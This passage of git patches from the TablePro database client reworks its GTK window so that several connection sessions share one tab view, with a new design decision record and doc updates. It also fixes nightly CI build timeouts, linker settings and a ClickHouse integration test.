-                        <property name="min-sidebar-width">300</property>
-                        <property name="max-sidebar-width">440</property>
-                        <property name="sidebar-width-fraction">0.32</property>
-                        <property name="sidebar">
-                          <object class="TableProAssistantPane" id="assistant_pane"/>
-                        </property>
-                        <property name="content">
-                          <object class="AdwToolbarView" id="content_root">
-                            <child type="top">
-                              <object class="AdwHeaderBar" id="content_header">
-                                <child type="start">
-                                  <object class="GtkToggleButton" id="sidebar_toggle">
-                                    <property name="icon-name">sidebar-show-symbolic</property>
-                                    <property name="action-name">win.show-sidebar</property>
-                                  </object>
-                                </child>
-                                <child type="start">
-                                  <object class="GtkButton" id="new_tab_button">
-                                    <property name="icon-name">tab-new-symbolic</property>
-                                    <property name="action-name">win.new-editor-tab</property>
-                                  </object>
-                                </child>
-                                <property name="title-widget">
-                                  <!-- The connection's icon, when it has one,
-                                       beside the title that names it. -->
-                                  <object class="GtkBox">
-                                    <property name="spacing">6</property>
-                                    <child>
-                                      <object class="GtkImage" id="connection_icon">
-                                        <property name="visible">false</property>
-                                        <property name="accessible-role">presentation</property>
-                                      </object>
-                                    </child>
-                                    <child>
-                                      <object class="AdwWindowTitle" id="window_title"/>
-                                    </child>
-                                  </object>
-                                </property>
-                                <child type="end">
-                                  <object class="GtkToggleButton" id="assistant_toggle">
-                                    <property name="icon-name">assistant-symbolic</property>
-                                    <property name="action-name">win.show-assistant</property>
-                                    <property name="visible">false</property>
-                                  </object>
-                                </child>
-                                <child type="end">
-                                  <object class="AdwTabButton" id="tab_button">
-                                    <property name="view">tab_view</property>
-                                    <property name="action-name">overview.open</property>
-                                    <property name="visible">false</property>
-                                  </object>
-                                </child>
-                                <child type="end">
-                                  <object class="TableProExportOperationsButton" id="export_operations_button"/>
-                                </child>
-                                <child type="end">
-                                  <object class="AdwSpinner" id="row_op_spinner">
-                                    <property name="visible">false</property>
-                                    <property name="margin-end">6</property>
-                                    <property name="tooltip-text" translatable="yes">Saving…</property>
-                                  </object>
-                                </child>
-                              </object>
-                            </child>
-                            <child type="top">
-                              <object class="AdwTabBar" id="tab_bar">
-                                <property name="view">tab_view</property>
-                                <property name="autohide">true</property>
-                              </object>
-                            </child>
-                            <child type="top">
-                              <object class="AdwBanner" id="reconnect_banner">
-                                <property name="use-markup">false</property>
-                                <property name="button-label" translatable="yes">Retry</property>
-                                <property name="action-name">win.reconnect</property>
-                              </object>
-                            </child>
-                            <child type="top">
-                              <object class="AdwBanner" id="transaction_banner">
-                                <property name="use-markup">false</property>
-                                <property name="button-label" translatable="yes">Show</property>
-                              </object>
-                            </child>
-                            <child type="top">
-                              <!-- Until the unreadable file is moved aside, no tab
-                                   of this session is saved, so it stays up. -->
-                              <object class="AdwBanner" id="layout_banner">
-                                <property name="use-markup">false</property>
-                                <property name="title" translatable="yes">Saved tabs could not be read, so the open tabs are not saved</property>
-                                <property name="button-label" translatable="yes">Reset</property>
-                                <property name="action-name">win.reset-workspace-layout</property>
-                                <property name="tooltip-text" translatable="yes">Moves the unreadable file aside, so the open tabs can be saved</property>
-                              </object>
-                            </child>
-                            <property name="content">
-                              <object class="GtkStack" id="tab_stack">
-                                <property name="transition-type">crossfade</property>
-                                <child>
-                                  <object class="GtkStackPage">
-                                    <property name="name">empty</property>
-                                    <property name="child">
-                                      <object class="AdwStatusPage" id="empty_page">
-                                        <property name="icon-name">view-grid-symbolic</property>
-                                        <property name="title" translatable="yes">Select a Table</property>
-                                        <property name="description" translatable="yes">Choose a table in the sidebar or open the SQL editor.</property>
-                                        <property name="child">
-                                          <object class="GtkButton" id="empty_editor_button">
-                                            <property name="label" translatable="yes">Open SQL Editor</property>
-                                            <property name="action-name">win.new-editor-tab</property>
-                                            <property name="halign">center</property>
-                                            <style>
-                                              <class name="suggested-action"/>
-                                              <class name="pill"/>
-                                            </style>
-                                          </object>
-                                        </property>
-                                      </object>
-                                    </property>
-                                  </object>
-                                </child>
-                                <child>
-                                  <object class="GtkStackPage">
-                                    <property name="name">tabs</property>
-                                    <property name="child">
-                                      <object class="AdwTabView" id="tab_view"/>
-                                    </property>
-                                  </object>
-                                </child>
-                              </object>
-                            </property>
-                          </object>
-                        </property>
-                      </object>
-                    </property>
-                  </object>
-                </property>
-              </object>
-            </property>
+      <object class="GtkBox">
+        <property name="orientation">vertical</property>
+        <child>
+          <object class="AdwBanner" id="reconnect_banner">
+            <property name="use-markup">false</property>
+            <property name="button-label" translatable="yes">Retry</property>
+            <property name="action-name">win.reconnect</property>
           </object>
-        </property>
+        </child>
+        <child>
+          <object class="AdwBanner" id="transaction_banner">
+            <property name="use-markup">false</property>
+            <property name="button-label" translatable="yes">Show</property>
+          </object>
+        </child>
+        <child>
+          <!-- Until the unreadable file is moved aside, no tab
+               of this session is saved, so it stays up. -->
+          <object class="AdwBanner" id="layout_banner">
+            <property name="use-markup">false</property>
+            <property name="title" translatable="yes">Saved tabs could not be read, so the open tabs are not saved</property>
+            <property name="button-label" translatable="yes">Reset</property>
+            <property name="action-name">win.reset-workspace-layout</property>
+            <property name="tooltip-text" translatable="yes">Moves the unreadable file aside, so the open tabs can be saved</property>
+          </object>
+        </child>
       </object>
     </property>
   </template>
+  <!-- The session's banners about its list, which the shell shows at the
+       top of the sidebar while the session is in front. -->
+  <object class="GtkBox" id="list_banners">
+    <property name="orientation">vertical</property>
+    <child>
+      <!-- The list stays as it was when a read fails, so
+           the banner says it may be out of date. -->
+      <object class="AdwBanner" id="catalog_banner">
+        <property name="use-markup">false</property>
+        <property name="button-label" translatable="yes">Retry</property>
+        <property name="action-name">win.refresh-tables</property>
+      </object>
+    </child>
+    <child>
+      <!-- A database of keys can hold millions, and a
+           listing stops at its limit. -->
+      <object class="AdwBanner" id="key_limit_banner">
+        <property name="use-markup">false</property>
+        <property name="title" translatable="yes">Not every key is listed. Search to narrow the list.</property>
+      </object>
+    </child>
+  </object>
 </interface>
diff --git a/linux/docs/decisions/0012-window-per-session.md b/linux/docs/decisions/0012-window-per-session.md
index 72de86b1ca..e1f6fdafc8 100644
--- a/linux/docs/decisions/0012-window-per-session.md
+++ b/linux/docs/decisions/0012-window-per-session.md
@@ -1,6 +1,6 @@
 # 0012: One window per connection session, built from gtk-rs subclasses
 
-- **Status**: Accepted
+- **Status**: Accepted; what a window holds superseded by 0028
 - **Date**: 2026-10-14
 
 ## Context
diff --git a/linux/docs/decisions/0028-sessions-share-a-window.md b/linux/docs/decisions/0028-sessions-share-a-window.md
new file mode 100644
index 0000000000..ca1ea99162
--- /dev/null
+++ b/linux/docs/decisions/0028-sessions-share-a-window.md
@@ -0,0 +1,41 @@
+# 0028: A window holds several sessions in one tab view
+
+- **Status**: Accepted
+- **Date**: 2026-10-28
+
+## Context
+
+Under [0012](0012-window-per-session.md) a window holds at most one connection session. Working on two databases means two windows, and the saved connections and their groups show only on the picker, which goes once a window connects. Users who come from clients that list every connection in one tree, with tabs of several connections side by side, ask for that flow.
+
+0012 rejected a window that swaps one session in place, because every part that read the session had to be reset at each switch and a late reply could land in the next session. It also rejected one session service shared by every window.
+
+## Decision
+
+A `SessionWindow` holds a list of open sessions, each under its own `SessionClaim`, and a list of connects in progress, each with its own cancel token. The page it shows follows from those two lists: the `WorkspaceShell` while any session is open, else the first connect's progress, else the last failure, else the picker. Every connect, from the picker, the sidebar, the connect dialog, a file, a restore or MCP, takes the same path.
+
+The shell is what a window has once: the header bars, the sidebar, the one `AdwTabView` every session's tabs share, the assistant's column and the toasts. Each session keeps its own `Workspace`, which holds what it held before, and a tab never changes session. The sidebar is a tree of the saved connections in their groups, with the schemas and tables of each open session under its connection.
+
+## Rationale
+
+- What 0012 protects still holds one level down. A workspace never changes session, so it has nothing to reset, and its teardown order is the same. Tabs already took their session when they were built.
+- Sessions are not shared across windows. The registry still keeps a key in one window, and a connection open elsewhere brings that window and that session forward.
+- The session of the tab in front speaks for the window. The shell's `front` property follows the tab view's selection, and the header bars, the banners, the assistant's pane and the window's actions read it through bindings, so a change of tab never enters a workspace that is handling input.
+- A failure while other sessions are open is an event in this window, so it is a toast with a Details button rather than a page or a new window. The GNOME HIG: "Never pop up a dialog window unexpectedly."
+- A closed connection is a leaf in the tree, and activating it connects, as a GNOME Files sidebar row mounts a volume. A connection gets its schemas once its session joins, so neither a drag hovering over a row nor an expander starts a network connect.
+- A search is worked out off the GTK thread and shows what it finds as a flat list, one section per schema in a `GtkFlattenListModel`, so typing over 50,000 tables makes objects only for the rows on screen. Opening a schema in the tree makes one light object per table, since `GtkTreeListModel` reads every child of a row it opens.
+
+## Consequences
+
+- This supersedes 0012 for what a window holds. The application, the subclasses and the input queues it decided stay.
+- A disconnect asks only that session's prompts and closes its tabs. When the last session goes, a connect still running shows on the connecting page and joins when it lands; with none, the window returns to the picker. The window's close asks one Save Changes? across every session, and Cancel keeps them all.
+- libadwaita 1.9 has no tab groups, so any `AdwTabBar` in the process accepts a dropped tab. The shell sends a tab dropped from another window back to its own, and a tab dropped outside every window stays in its window.
+- Each tab names its connection, as "orders (prod)", while another connection has a tab in the same bar.
+- The restore record groups the keys by window, so a restore opens each window with the sessions it held.
+
+## Alternatives considered
+
+**A window per session with a strip to switch between them.** Keeps 0012 whole, but the tabs of two connections are never side by side.
+
+**A tab bar per session in one window.** Smaller, but switching connection hides the other connection's tabs.
+
+**A failed connect beside the sessions on a failed page in a window of its own.** Keeps the page's remedies, but a window opens seconds after the user moved on. The remedies are dialogs over this window already.
diff --git a/linux/docs/decisions/README.md b/linux/docs/decisions/README.md
index 7a5952ffd1..4c44a55441 100644
--- a/linux/docs/decisions/README.md
+++ b/linux/docs/decisions/README.md
@@ -59,7 +59,7 @@ A fact the repository keeps elsewhere, such as a workflow trigger, a branch, a v
 | [0008](0008-flatpak-sandbox-permissions.md) | Flatpak sandbox permissions | Accepted; the Flathub submission deferred by 0018 | Network, display, home and removable drives for SQLite, the SSH agent and the Kerberos KCM socket; portals for the rest; two Flathub lint exceptions. |
 | [0009](0009-crypto-provider-and-sources.md) | One crypto provider, upstream sources and dependency bans | Accepted; sources and the PostgreSQL and ClickHouse TLS setup superseded by 0016, the ring ban amended by 0023 | aws-lc-rs only; deny.toml enforces sources, licenses, bans and advisory ignores. |
 | [0010](0010-ddl-plans-and-table-definitions.md) | DDL plans against table definitions | Accepted | Each engine plans structure changes through its `DdlDialect` against the table's definition; the UI offers only what the plan accepts. |
-| [0012](0012-window-per-session.md) | One window per connection session, built from gtk-rs subclasses | Accepted | One `TableProApplication` per profile through D-Bus uniqueness; a window holds at most one session and returns to the picker on disconnect; the application, the window and its workspace are subclasses, not Relm4 components. |
+| [0012](0012-window-per-session.md) | One window per connection session, built from gtk-rs subclasses | Accepted; what a window holds superseded by 0028 | One `TableProApplication` per profile through D-Bus uniqueness; a window holds at most one session and returns to the picker on disconnect; the application, the window and its workspace are subclasses, not Relm4 components. |
 | [0013](0013-openssh-client-transport.md) | SSH through the system OpenSSH client | Accepted; the forced options amended by 0019, the TCP port amended by 0023 | ControlMaster per connection, Unix-socket forwards, prompts through an askpass helper. |
 | [0014](0014-lossless-values-and-dialects.md) | Lossless values and engine dialects | Accepted | A value reaches the user and goes back without loss; every statement is spelled by the dialect of the connection that runs it. |
 | [0015](0015-gnome-50-platform-floor.md) | GNOME 50 platform floor | Accepted; the runtime row amended by 0018 | GTK 4.22, libadwaita 1.9, GtkSourceView 5.18, GLib 2.88; AdwShortcutsDialog replaces the shortcuts window. |
@@ -75,6 +75,7 @@ A fact the repository keeps elsewhere, such as a workflow trigger, a branch, a v
 | [0025](0025-bundled-duckdb.md) | DuckDB built from the duckdb crate's bundled sources | Accepted | No PPA or COPR target but Ubuntu 26.10 ships libduckdb, so DuckDB 1.5.6 is compiled from the crate on every channel, with no extension fetched or loaded on its own. |
 | [0026](0026-documents-in-the-table-tab.md) | Document collections open in the table tab, and their statements are shell calls | Accepted | A document engine states `DataModel::Document`, lists collections as tables, opens them in the table tab, and every builder writes a mongosh call with bound values through a document arm chosen by the grammar. |
 | [0027](0027-one-data-grid.md) | One data grid on GtkColumnView, with rows and a focused cell | Accepted | Every surface shows rows in one `DataGrid`: row selection plus a focused cell, stable row slots, a row number column, values as text and a row detail pane. |
+| [0028](0028-sessions-share-a-window.md) | A window holds several sessions in one tab view | Accepted | A `WorkspaceShell` per window shares one tab view among its sessions, each with its own workspace; the sidebar is a tree of the saved connections with each open session's schemas and tables. |
 
 0011 is not used. It was reserved for the DDL decision, which was recorded as 0010, and docs cite ADRs by number, so the later ones keep theirs.
 
diff --git a/linux/docs/regression-tests.md b/linux/docs/regression-tests.md
index 587294c209..551251ee5c 100644
--- a/linux/docs/regression-tests.md
+++ b/linux/docs/regression-tests.md
@@ -39,6 +39,8 @@ Kinds: `unit` runs in the Meson unit suite, `gtk` in the gtk suite, `docker` in
 | F-002 | unit | `f002_late_reconnect_after_cancel_is_discarded_and_closed` | [crates/session/src/health/health_monitor.rs](../crates/session/src/health/health_monitor.rs) |
 | F-002 | gtk | `f002_cancel_connect_discards_late_attempt` | [crates/app/src/ui/session_window/tests/mod.rs](../crates/app/src/ui/session_window/tests/mod.rs) |
 | F-002 | gtk | `f002_late_show_create_reply_after_disconnect_is_dropped` | [crates/app/src/ui/session_window/tests/mod.rs](../crates/app/src/ui/session_window/tests/mod.rs) |
+| F-002 | gtk | `f002_a_connect_beside_the_last_session_adopts_from_the_connecting_page_without_connecting_again` | [crates/app/src/ui/session_window/tests/sessions.rs](../crates/app/src/ui/session_window/tests/sessions.rs) |
+| F-002 | gtk | `f002_stop_connecting_a_dialog_connect_beside_the_sessions_closes_its_late_connection` | [crates/app/src/ui/session_window/tests/sessions.rs](../crates/app/src/ui/session_window/tests/sessions.rs) |
 | F-002 | gtk | `f002_a_late_catalog_commit_after_the_watch_drops_is_not_delivered` | [crates/app/src/ui/workspace/sidebar/catalog_watch.rs](../crates/app/src/ui/workspace/sidebar/catalog_watch.rs) |
 | F-003 | unit | `f003_truncated_file_is_unavailable_and_upsert_leaves_bytes_identical` | [crates/storage/src/connections.rs](../crates/storage/src/connections.rs) |
 | F-003 | unit | `f003_a_newer_version_is_never_written` | [crates/storage/src/connections.rs](../crates/storage/src/connections.rs) |
diff --git a/linux/docs/state-management.md b/linux/docs/state-management.md
index 31e09303c8..34932f98a0 100644
--- a/linux/docs/state-management.md
+++ b/linux/docs/state-management.md
@@ -7,13 +7,13 @@ The `app` crate's application, windows, workspace and tabs are gtk-rs subclasses
 | State | Owner | Lives as long as |
 |---|---|---|
 | Driver registry, connector, deadlines, settings, storage, `Tasks`, `SessionRegistry`, query history, the open-sessions record | `AppServices`, built by `run()` and handed to every window | the process |
-| The claim on a session's key | the window's `SessionPage` | the page |
+| The claim on a session's key | the window's open session, connect in progress or failed page | that entry |
 | The connection | `Session`, shared by the window's page and its workspace | the page, until the teardown closes it |
 | Schemas, objects and columns | the session's `SchemaCatalog` | the session |
 | Tabs, pending edits, running saves | the `Workspace`: `ChangeTrackerRegistry`, `StructureTrackerRegistry`, `WorkspaceHandle` with its `SaveLedger` | the workspace |
 | Running exports | the workspace's `ExportLedger` | the workspace |
 | A tab's rows, filter and requests | the tab's model, in its `imp` struct | the tab |
-| An editor tab's own connection | the tab's `EditorSessionSlot` | the tab, or until that connection is lost or the window's session is replaced |
+| An editor tab's own connection | the tab's `EditorSessionSlot` | the tab, or until that connection is lost or its session closes |
 | What the last run returned | the editor tab's `RunLog`, shown by its `ResultsPane` | the next run |
 | The history list, its search and the pages read | the `HistoryDialog` and its `HistoryPaging` | the dialog |
 
@@ -54,7 +54,7 @@ Windows share nothing but `AppServices`. CI fails on a `thread_local!` under `cr
 
 - Actions, signal handlers and background work send it a message, and `pump_inputs` hands the messages to the widget one at a time on the GTK thread, never inside the signal or action that sent one.
 - Shutdown aborts the pump, which closes the queue. A queued message that owns something, such as a connection that finished connecting, goes to the pump's leftover handler (`pump_inputs_with_leftovers`) and is closed rather than dropped.
-- Window actions go on the window's own action map with `add_action_entries`, which GTK exports as `win`; CI fails on a group inserted as `win`. The workspace removes the actions it added when it shuts down.
+- Window actions go on the window's own action map with `add_action_entries`, which GTK exports as `win`; CI fails on a group inserted as `win`. The `WorkspaceShell` adds the workspace actions once, sends each to the session in front, and removes them when it shuts down.
 - The workspace reports to the window through signals (`title-changed`, `dirty-changed`, `saves-in-flight-changed`, `work-completed`, `tabs-changed`), and the window turns each into one of its own inputs.
 
 A background read follows this shape, trimmed from `SessionWindow::on_restore`, which looks up the saved connection `id` names:
diff --git a/linux/docs/storage.md b/linux/docs/storage.md
index 34170f5dd2..51dac77c4e 100644
--- a/linux/docs/storage.md
+++ b/linux/docs/storage.md
@@ -123,7 +123,7 @@ nothing reaches outside it.
 | `column_widths_file()` | `$XDG_CONFIG_HOME/<dir>/column_widths.json`: each table's column layout (order, hidden columns, widths the user set), version 2; a version 1 file of widths alone is upgraded on read |
 | `filter_settings_file()` | `$XDG_CONFIG_HOME/<dir>/filter_settings.json` |
 | `history_database()` | `$XDG_STATE_HOME/<dir>/history.db` |
-| `workspaces_dir()` | `$XDG_STATE_HOME/<dir>/workspaces`: one file per session, and `open-sessions.json` |
+| `workspaces_dir()` | `$XDG_STATE_HOME/<dir>/workspaces`: one file per session, and `open-sessions.json`, version 2: the sessions open at the last quit as `windows`, one list of keys per window, windows in the order of their first recorded session and keys in the order each window adopted them; a version 1 file of `sessions` alone is upgraded on read to one window per session |
 | `drafts_dir()` | `$XDG_DATA_HOME/<dir>/drafts` |
 | `snippets_dir()` | `$XDG_DATA_HOME/<dir>/snippets`: the user's SQL editor snippets, made when Preferences opens it ([README](../README.md#snippets)) |
 | `crashes_dir()` | `$XDG_STATE_HOME/<dir>/crashes`: crash reports ([error-handling.md](error-handling.md#crashes)) |
diff --git a/linux/docs/testing.md b/linux/docs/testing.md
index fbdb149c0f..a0980d6b6d 100644
--- a/linux/docs/testing.md
+++ b/linux/docs/testing.md
@@ -190,9 +190,9 @@ SQLite and DuckDB pass `docker: false`, so the case runs in the unit suite, wher
 
 ### Large-catalog case
 
-`crates/app/src/ui/workspace/tests/large_catalog.rs` fills PostgreSQL with 100 schemas of 500 tables, the default schema among them, and MySQL with one database of 50,000. It puts the sidebar and a SQL editor on screen over a session the app's own connector opens:
+`crates/app/src/ui/workspace/tests/large_catalog.rs` fills PostgreSQL with 100 schemas of 500 tables, the default schema among them, and MySQL with one database of 50,000. It puts the connection tree and a SQL editor on screen over a session the app's own connector opens:
 
-- The sidebar lists every schema's tables, read and indexed the way the workspace does, then its search takes `i`, `in` and an empty search.
+- The tree lists every schema's tables under the open connection, read and indexed the way the workspace does, then its search takes `i`, `in` and an empty search with a schema of the catalog open.
 - The editor's completion opens after `FROM `, narrows as `i` is typed, and opens again after a schema's dot.
 - Each step has a time bound, from the action to its result on screen, and none may stall the main loop past 100 ms, which `StallProbe` (`crates/app/src/test_support/stall_probe.rs`) measures as the longest gap between runs of a high-priority timeout. The catalog may not raise the resident peak (`ResidentPeak`) past a memory bound. The bounds are constants at the top of the file.
 
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index 99f7eed284..d4684bfdc1 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -448,8 +448,10 @@ crates/app/src/ui/result_pane/result_set_view.rs
 crates/app/src/ui/result_pane/result_summary.rs
 crates/app/src/ui/safe_mode.rs
 crates/app/src/ui/saved_queries_dialog.rs
+crates/app/src/ui/session_target.rs
 crates/app/src/ui/session_window/application_notification_sink.rs
 crates/app/src/ui/session_window/connect_failed_page.rs
+crates/app/src/ui/session_window/connect_failure_details.rs
 crates/app/src/ui/session_window/connect_failure_view.rs
 crates/app/src/ui/session_window/connect_flow.rs
 crates/app/src/ui/session_window/connecting_page.rs
@@ -473,6 +475,7 @@ crates/app/src/ui/session_window/session_window_input.rs
 crates/app/src/ui/session_window/tests/mod.rs
 crates/app/src/ui/session_window/tests/notification.rs
 crates/app/src/ui/session_window/tests/open_file.rs
+crates/app/src/ui/session_window/tests/sessions.rs
 crates/app/src/ui/session_window/window_actions.rs
 crates/app/src/ui/session_window/work_notifier.rs
 crates/app/src/ui/shell/mod.rs
@@ -542,17 +545,15 @@ crates/app/src/ui/workspace/import.rs
 crates/app/src/ui/workspace/import_ledger.rs
 crates/app/src/ui/workspace/mod.rs
 crates/app/src/ui/workspace/references.rs
-crates/app/src/ui/workspace/row_ops.rs
 crates/app/src/ui/workspace/saves.rs
 crates/app/src/ui/workspace/session_watches.rs
-crates/app/src/ui/workspace/shell.rs
 crates/app/src/ui/workspace/sidebar/catalog_watch.rs
+crates/app/src/ui/workspace/sidebar/connection_tree.rs
 crates/app/src/ui/workspace/sidebar/key_listing.rs
 crates/app/src/ui/workspace/sidebar/mod.rs
 crates/app/src/ui/workspace/sidebar/object_key.rs
 crates/app/src/ui/workspace/sidebar/sidebar_affordances.rs
 crates/app/src/ui/workspace/sidebar/sidebar_event.rs
-crates/app/src/ui/workspace/sidebar/sidebar_header_factory.rs
 crates/app/src/ui/workspace/sidebar/sidebar_index.rs
 crates/app/src/ui/workspace/sidebar/sidebar_list.rs
 crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs
@@ -560,9 +561,12 @@ crates/app/src/ui/workspace/sidebar/sidebar_menu.rs
 crates/app/src/ui/workspace/sidebar/sidebar_model.rs
 crates/app/src/ui/workspace/sidebar/sidebar_object.rs
 crates/app/src/ui/workspace/sidebar/sidebar_object_imp.rs
-crates/app/src/ui/workspace/sidebar/sidebar_row_factory.rs
 crates/app/src/ui/workspace/sidebar/sidebar_view.rs
+crates/app/src/ui/workspace/sidebar/store_sync.rs
 crates/app/src/ui/workspace/sidebar/tests.rs
+crates/app/src/ui/workspace/sidebar/tree_menu.rs
+crates/app/src/ui/workspace/sidebar/tree_node.rs
+crates/app/src/ui/workspace/sidebar/tree_row.rs
 crates/app/src/ui/workspace/status_pages.rs
 crates/app/src/ui/workspace/structure.rs
 crates/app/src/ui/workspace/structure_target.rs
@@ -579,6 +583,8 @@ crates/app/src/ui/workspace/tests/keys.rs
 crates/app/src/ui/workspace/tests/large_catalog.rs
 crates/app/src/ui/workspace/tests/mod.rs
 crates/app/src/ui/workspace/tests/references.rs
+crates/app/src/ui/workspace/tests/sessions.rs
+crates/app/src/ui/workspace/tests/shell.rs
 crates/app/src/ui/workspace/tests/tab_title.rs
 crates/app/src/ui/workspace/transaction_banner.rs
 crates/app/src/ui/workspace/unsaved_icon.rs
@@ -586,6 +592,8 @@ crates/app/src/ui/workspace/window_tabs.rs
 crates/app/src/ui/workspace/window_title.rs
 crates/app/src/ui/workspace/workspace_actions.rs
 crates/app/src/ui/workspace/workspace_persistence.rs
+crates/app/src/ui/workspace/workspace_shell.rs
+crates/app/src/ui/workspace/workspace_shell_imp.rs
 crates/app/src/ui/workspace/workspace_tab_view.rs
 crates/app/src/ui/workspace/workspace_tabs.rs
 crates/app/src/ui/write_confirmation.rs
@@ -691,4 +699,5 @@ data/resources/ui/ssh-section.ui
 data/resources/ui/structure-tab.ui
 data/resources/ui/tls-section.ui
 data/resources/ui/welcome-view.ui
+data/resources/ui/workspace-shell.ui
 data/resources/ui/workspace.ui

From 75d47d52447badf1b459f1fcb6aa37333a9287ae Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Wed, 28 Oct 2026 23:49:07 +0700
Subject: [PATCH 13/44] ci: fix the nightly Build Linux and Release Build runs
 (#3865)

---
 .github/workflows/build-linux.yml                 |  3 +++
 .github/workflows/release-build.yml               |  5 +++--
 .github/workflows/release.yml                     |  4 ++--
 linux/Cargo.toml                                  |  8 +++++++-
 .../flatpak/app.tablepro.TablePro.Devel.json      | 10 +++++++++-
 .../clickhouse/tests/integration/writes.rs        | 15 +++++++++------
 linux/crates/test-fixtures/src/mongo_fixture.rs   |  3 +++
 7 files changed, 36 insertions(+), 12 deletions(-)

diff --git a/.github/workflows/build-linux.yml b/.github/workflows/build-linux.yml
index 8df98e9ec5..f96745925a 100644
--- a/.github/workflows/build-linux.yml
+++ b/.github/workflows/build-linux.yml
@@ -383,6 +383,9 @@ jobs:
           persist-credentials: false
       # Every Meson suite runs inside the sandbox, from a source tree with
       # no .git. The action gives the tests a display and a session bus.
+      # On aarch64 the manifest links with lld: rustc links with GNU ld
+      # there, and its parallel links of the gtk suite ran the runner out
+      # of memory.
       - uses: flatpak/flatpak-github-actions/flatpak-builder@79327416609af08178ad73b352877e51450790b3 # v6.8
         with:
           manifest-path: linux/build-aux/flatpak/app.tablepro.TablePro.Devel.json
diff --git a/.github/workflows/release-build.yml b/.github/workflows/release-build.yml
index 7fd9db9477..5d850cbc26 100644
--- a/.github/workflows/release-build.yml
+++ b/.github/workflows/release-build.yml
@@ -16,7 +16,7 @@ jobs:
   build:
     name: Release Build
     runs-on: xcode-27
-    timeout-minutes: 150
+    timeout-minutes: 240
     # The tag's version settings run here first; 9999999 is the largest build at MAJOR 0 (apple/RELEASING.md, Versions).
     env:
       VERSION: 0.0.0-dev
@@ -62,7 +62,8 @@ jobs:
         run: scripts/release/package.sh plugins --unsigned
 
       - name: Upload the build logs
-        if: ${{ failure() }}
+        # A timeout cancels the job; the log shows where xcodebuild was when it stopped.
+        if: ${{ failure() || cancelled() }}
         continue-on-error: true
         uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
         with:
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index df93d41ed5..9b1b4d8bf2 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -87,8 +87,8 @@ jobs:
     needs: verify
     runs-on: xcode-27
     environment: signing
-    # The unsigned archive alone has taken up to 123 minutes in Release Build; signing and two notarizations come on top.
-    timeout-minutes: 180
+    # The archive alone took 138 minutes for v0.84.0-beta.1; signing and two notarizations come on top.
+    timeout-minutes: 240
     permissions:
       contents: read
     env:
diff --git a/linux/Cargo.toml b/linux/Cargo.toml
index 4830920286..61cb86ddd5 100644
--- a/linux/Cargo.toml
+++ b/linux/Cargo.toml
@@ -161,11 +161,17 @@ self_named_module_files = "deny"
 
 # Unoptimised with debug info, DuckDB's archive is 2.6 GB, which every
 # test binary of the app links, and the engine runs the suites at debug
-# speed.
+# speed. The SDK's CXXFLAGS carry -g, so the Flatpak manifest adds -g0.
 [profile.dev.package.libduckdb-sys]
 opt-level = 2
 debug = false
 
+# Left unset, a build script's dependency takes the profile of a normal
+# one it matches, and the tests add such a match (xattr, through
+# testcontainers), so cargo test built DuckDB a second time.
+[profile.dev.build-override]
+debug = false
+
 [profile.release]
 lto = "fat"
 codegen-units = 1
diff --git a/linux/build-aux/flatpak/app.tablepro.TablePro.Devel.json b/linux/build-aux/flatpak/app.tablepro.TablePro.Devel.json
index 95f2470097..51e9767358 100644
--- a/linux/build-aux/flatpak/app.tablepro.TablePro.Devel.json
+++ b/linux/build-aux/flatpak/app.tablepro.TablePro.Devel.json
@@ -25,6 +25,7 @@
     "build-options": {
         "append-path": "/usr/lib/sdk/rust-stable/bin:/usr/lib/sdk/llvm22/bin",
         "prepend-ld-library-path": "/usr/lib/sdk/llvm22/lib",
+        "cxxflags": "-g0",
         "build-args": [
             "--share=network"
         ],
@@ -34,7 +35,14 @@
         "test-args": [
             "--socket=x11",
             "--share=network"
-        ]
+        ],
+        "arch": {
+            "aarch64": {
+                "env": {
+                    "CARGO_ENCODED_RUSTFLAGS": "-Clink-arg=-fuse-ld=lld"
+                }
+            }
+        }
     },
     "cleanup": [
         "/share/man"
diff --git a/linux/crates/drivers/clickhouse/tests/integration/writes.rs b/linux/crates/drivers/clickhouse/tests/integration/writes.rs
index 11da08fdda..a1fd0cb31c 100644
--- a/linux/crates/drivers/clickhouse/tests/integration/writes.rs
+++ b/linux/crates/drivers/clickhouse/tests/integration/writes.rs
@@ -420,15 +420,17 @@ async fn killed_mutation_unresolvable_despite_another_tables_mutation_in_its_win
         let update = batch_on(&held, &[&format!("ALTER TABLE {held_table} UPDATE n = 1 WHERE 1")]);
         tokio::spawn(async move { connection.write_batch(&update, within(CALL)).await })
     };
-    let waiting = format!(
-        "SELECT count() FROM system.processes WHERE query LIKE 'ALTER TABLE%{held}%' \
-         AND query NOT LIKE '%system.processes%'"
+    // The server lists the ALTER in system.processes before it registers
+    // the mutation, and KILL MUTATION only sees system.mutations.
+    let registered = format!(
+        "SELECT count() FROM system.mutations WHERE database = '{DATABASE}' AND table = '{held}' \
+         AND NOT is_done"
     );
     let give_up = Instant::now() + Duration::from_secs(10);
-    while count(connection.as_ref(), &waiting).await == 0 {
+    while count(connection.as_ref(), &registered).await == 0 {
         assert!(
             Instant::now() < give_up,
-            "the ALTER never showed up in system.processes"
+            "the ALTER's mutation never showed up in system.mutations"
         );
         tokio::time::sleep(Duration::from_millis(100)).await;
     }
@@ -437,11 +439,12 @@ async fn killed_mutation_unresolvable_despite_another_tables_mutation_in_its_win
         &format!("ALTER TABLE {other_table} UPDATE n = 1 WHERE 1"),
     )
     .await;
-    admin(
+    let killed = admin(
         connection.as_ref(),
         &format!("KILL MUTATION WHERE database = '{DATABASE}' AND table = '{held}' SYNC"),
     )
     .await;
+    assert_eq!(killed.rows().len(), 1, "KILL MUTATION found no mutation on {held}");
 
     let outcome = writing.await.expect("the write task");
     let Err(DriverError::CommitOutcomeUnknown { token: Some(token), .. }) = outcome else {
diff --git a/linux/crates/test-fixtures/src/mongo_fixture.rs b/linux/crates/test-fixtures/src/mongo_fixture.rs
index 61d35febdc..221a3642e8 100644
--- a/linux/crates/test-fixtures/src/mongo_fixture.rs
+++ b/linux/crates/test-fixtures/src/mongo_fixture.rs
@@ -113,6 +113,9 @@ impl MongoFixture {
